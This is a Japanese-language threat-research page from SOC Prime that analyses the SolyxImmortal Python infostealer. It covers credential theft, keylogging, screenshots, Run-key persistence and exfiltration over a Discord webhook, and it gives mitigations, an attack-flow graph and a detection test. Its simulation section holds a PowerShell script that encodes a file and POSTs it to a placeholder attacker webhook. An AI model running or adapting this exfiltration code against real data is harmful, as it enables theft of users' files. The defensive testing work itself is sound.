SOC Prime Bias:

26 1月 2026 20:32

SOLYXIMMORTAL: PYTHON マルウェア解析

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
SOLYXIMMORTAL: PYTHON マルウェア解析
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Sol yxImmortalはPythonベースのWindows情報スティーラーで、資格情報、ドキュメント、キーストローク、スクリーンショットを収集し、Discord Webhookを通じてデータを抽出します。マルウェアは完全にユーザースペースで実行され、ユーザーのAppDataディレクトリにコピーを配置し、Runキーのレジストリ値を設定することで永続性を維持し、目に見えるユーザーインターフェースを表示せずに動作を継続します。

調査

分析により、2つの埋め込まれたDiscord Webhook URLとChromiumベースのブラウザ資格情報を復号化するためのWindows DPAPIの使用が明らかになりました。スティーラーはキーボードフックを介してキーストロークをログし、アクティブウィンドウを追跡して潜在的に機密性の高いアプリケーションタイトルを特定し、定期的にスクリーンショットをキャプチャします。永続性は、%AppData%以下の隠された場所にペイロードをコピーし、ユーザーログオンでの実行をトリガーするためにHKCU Runキーに値を追加することによって実装されます。

緩和策

アプリケーションの許可リストを施行し、ユーザー書き込み可能なパスからのバイナリの作成と実行を監視し、ユーザーレベルのRunキーへの変更を検出し、Discord WebhookエンドポイントへのアウトバウンドHTTPS POSTアクティビティを警告します。ブラウザ資格情報ストアに関する制御を強化し、可能であればスクリプト言語の使用を制限または厳しく管理することでエンドポイントの露出を減らします。

対応策

検出された場合、影響を受けたエンドポイントを隔離し、悪意のあるAppDataに常駐するコピーを削除し、関連するRunキーの値を削除し、識別されたDiscord Webhook URLをブロックします。潜在的に影響を受けたアカウントの資格情報を回転させ、範囲設定と根本原因分析を支援するためにキーストロークログ、スクリーンショット、およびブラウザデータベースのフォレンジック収集を行います。

"graph TB %% クラス定義 classDef technique fill:#ffcc99 classDef artifact fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff classDef service fill:#ffdd99 %% 技術ノード tech_python["<b>技術</b> – <b>T1059.006</b> コマンドとスクリプトインタープリター: Python<br/><b>説明</b>: 悪意のあるPythonコードを実行してインプラントを起動し、機能を開始させます。"] class tech_python technique tech_registry["<b>技術</b> – <b>T1547.001</b> ブートまたはログオン自動起動実行: レジストリRunキー<br/><b>説明</b>: マルウェアを書き込み可能な場所にコピーし、ログオン間の永続性を持たせるためのRunキーを追加します。"] class tech_registry technique tech_hidden["<b>技術</b> – <b>T1564.005</b> アーティファクトの隠匿: 隠しファイルシステム<br/><b>説明</b>: 発見を回避するために悪意のあるコピーに隠しおよびシステム属性を設定します。"] class tech_hidden technique tech_browser_creds["<b>技術</b> – <b>T1555.003</b> パスワードストアからの資格情報: Webブラウザ<br/><b>説明</b>: マスターキーとDPAPIを使用して保存されたChromiumベースのブラウザ資格情報を抽出および復号化します。"] class tech_browser_creds technique tech_file_discovery["<b>技術</b> – <b>T1083</b> ファイルとディレクトリの発見<br/><b>説明</b>: 注目されるドキュメントを見つけるためにファイルシステムを列挙します。"] class tech_file_discovery technique tech_keylogging["<b>技術</b> – <b>T1056.001</b> 入力キャプチャ: キーロギング<br/><b>説明</b>: 永続的なキーボードリスナーを通じてキーストロークを記録し、メモリに保存します。"] class tech_keylogging technique tech_screen_capture["<b>技術</b> – <b>T1113</b> スクリーンキャプチャ<br/><b>説明</b>: アクティブな前面ウィンドウのスクリーンショットを定期的に、かつ機密性のあるアクティビティに基づいてキャプチャします。"] class tech_screen_capture technique tech_archive["<b>技術</b> – <b>T1560.002</b> 収集データのアーカイブ: ライブラリ経由でのアーカイブ<br/><b>説明</b>: データをステージ化してZIPアーカイブに圧縮し、サイズを縮小し、内容をマスクします。"] class tech_archive technique tech_obfuscate["<b>技術</b> – <b>T1027</b> 難読化/圧縮されたファイルと情報<br/><b>説明</b>: 圧縮を使用して、抽出前にデータを隠します。"] class tech_obfuscate technique tech_exfil["<b>技術</b> – <b>T1567.004</b> Webhookを介した抽出<br/><b>説明</b>: 攻撃者が制御するDiscord Webhook URLに収集データをHTTPSで送信します。"] class tech_exfil technique tech_third_party["<b>技術</b> – <b>T1102.003</b> Webサービス: サードパーティサービス<br/><b>説明</b>: 指令と制御の通信にDiscordをサードパーティサービスとして利用します。"] class tech_third_party technique %% アーティファクトとプロセスノード artifact_python["<b>アーティファクト</b> – Lethalcompany.pyが被害者ホストで実行"] class artifact_python artifact process_copy["<b>プロセス</b> – %AppData%ディレクトリにマルウェアをコピー"] class process_copy process artifact_persistence["<b>アーティファクト</b> – コピーされたファイルのレジストリRunキー作成"] class artifact_persistence artifact artifact_hidden["<b>アーティファクト</b> – ファイル属性を隠しおよびシステムに設定"] class artifact_hidden artifact artifact_cred_extraction["<b>アーティファクト</b> – Chrome/Edgeのパスワードとクッキーの抽出"] class artifact_cred_extraction artifact artifact_file_search["<b>アーティファクト</b> – ユーザーホーム内の.doc, .pdf, .xlsファイルの再帰列挙"] class artifact_file_search artifact artifact_keylog["<b>アーティファクト</b> – メモリ内キーストロークバッファ定期フラッシュ"] class artifact_keylog artifact artifact_screenshot["<b>アーティファクト</b> – ウィンドウタイトルキーワードに基づいてキャプチャされたスクリーンショット"] class artifact_screenshot artifact artifact_zip["<b>アーティファクト</b> – ステージデータで作成されたZIPアーカイブ"] class artifact_zip artifact artifact_exfil["<b>アーティファクト</b> – アーカイブおよびスクリーンショットを含むDiscord WebhookへのHTTPS POST"] class artifact_exfil artifact service_discord["<b>サービス</b> – C2とデータ抽出に使用されるDiscord Webhook"] class service_discord service %% 攻撃フローを示す接続 artifact_python –>|実行| tech_python tech_python –>|有効にする| process_copy process_copy –>|AppDataにファイル配置| artifact_persistence artifact_persistence –>|登録| tech_registry artifact_persistence –>|隠しをマーク| tech_hidden tech_hidden –>|適用される| artifact_hidden tech_browser_creds –>|収集| artifact_cred_extraction tech_file_discovery –>|収集| artifact_file_search tech_keylogging –>|キャプチャ| artifact_keylog tech_screen_capture –>|キャプチャ| artifact_screenshot tech_archive –>|作成| artifact_zip tech_obfuscate –>|サポート| tech_archive artifact_zip –>|準備済み| tech_exfil tech_exfil –>|使用| service_discord service_discord –>|経由でデータを受信| artifact_exfil tech_third_party –>|チャンネル提供| tech_exfil "

攻撃フロー

シミュレーション実行

前提条件: テレメトリーとベースラインの事前飛行チェックがパスしている必要があります。

  • 攻撃のシナリオとコマンド:
    敵対者はすでにホストを侵害し、資格情報、キーログ、およびスクリーンショット(T1056.001, T1113)を収集しています。次のステップは、悪意のあるDiscord Webhookを介して収集したデータを抽出することです。外部バイナリを使用せずにネイティブなPowerShellを使用して、マルウェアはbase-64エンコードされたファイルデータを含むJSONペイロードを作成し、それをWebhook URLにポストします。このルールはホスト名とHTTPメソッドのみを検出するため、アクティビティはアラートをトリガーするはずです。

  • リグレッションテストスクリプト:

    # Discord Webhookを介したSolyxImmortalの抽出をシミュレート
    param(
        [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL",
        [string]$FilePath    = "$env:TEMPsample.txt"
    )
    
    # 1. 取得されたデータを表すダミーファイルを作成
    Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s"))
    
    # 2. ファイル内容をBase64でエンコード(難読化シミュレーション)
    $fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
    $b64Data   = [Convert]::ToBase64String($fileBytes)
    
    # 3. Discord Webhookが期待するJSONペイロードを作成
    $payload = @{
        content = "抽出ペイロード"
        embeds  = @(
            @{
                title = "StolenFile.txt"
                description = $b64Data
                color = 16711680
            }
        )
    } | ConvertTo-Json -Depth 5
    
    # 4. HTTPS POSTリクエストの送信
    Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing
    
    Write-Host "抽出試行が送信されました。"
  • クリーンアップコマンド:

    # ダミーファイルを削除し、残余の変数をクリア
    Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue
    Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue
    Write-Host "クリーンアップ完了。"